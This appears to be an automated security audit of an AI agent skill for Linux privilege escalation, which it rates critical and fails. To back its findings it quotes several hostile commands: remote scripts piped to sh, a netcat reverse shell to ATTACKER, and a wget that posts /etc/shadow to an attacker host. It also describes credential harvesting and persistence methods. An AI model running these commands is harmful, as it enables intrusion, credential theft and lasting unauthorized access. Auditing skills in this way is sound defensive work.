linux-privilege-escalation
Fail
Audited by Gen Agent Trust Hub on Jul 21, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONCREDENTIALS_UNSAFE
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill instructs the agent to download and execute scripts directly from external repositories using risky patterns. Evidence includes:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | shinSKILL.md.wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.shfollowed by execution.curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKitinKERNEL_EXPLOITS_CHECKLIST.md.- [COMMAND_EXECUTION]: The skill is primarily focused on executing commands to gain root access. This includes:
- SUID/SGID binary abuse for shells (
find,vim,bash -p). - Exploiting Linux capabilities such as
cap_setuid,cap_dac_override, andcap_sys_ptraceto inject into processes or modify root-owned files. - Kernel exploit execution instructions for vulnerabilities like DirtyPipe, DirtyCow, and PwnKit.
- Reverse shell patterns such as
nc -e /bin/sh ATTACKER PORTdetected inSUID_CAPABILITIES_TRICKS.md. - [DATA_EXFILTRATION]: The playbook details specific methods to exfiltrate sensitive files to external servers. Examples include:
wget --post-file=/etc/shadow http://ATTACKER/inSUID_CAPABILITIES_TRICKS.md.curl file:///etc/shadowfor reading local sensitive data.- Instructions for sniffing network traffic for credentials using
tcpdumpandscapy. - [CREDENTIALS_UNSAFE]: The skill provides automated and manual methods for harvesting credentials, including:
- Searching for private keys (
id_rsa,.pem,.key) and configuration files containing secrets. - Reading command history files (
.bash_history,.mysql_history) for potential plain-text passwords. - Modifying
/etc/passwdand/etc/shadowto add unauthorized users or reset root passwords. - [PERSISTENCE]: The skill provides instructions for maintaining long-term access to a system, such as:
- Injecting SSH public keys into
/root/.ssh/authorized_keysvia Docker mounts. - Creating malicious cron jobs that execute shells periodically.
- Modifying systemd unit files and shell profiles to execute code on login or startup.
Recommendations
- HIGH: Downloads and executes remote code from: https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE without thorough review
- CRITICAL: 1 file(s) identified as malware by FileRep - DO NOT USE
- AI detected serious security threats
Audit Metadata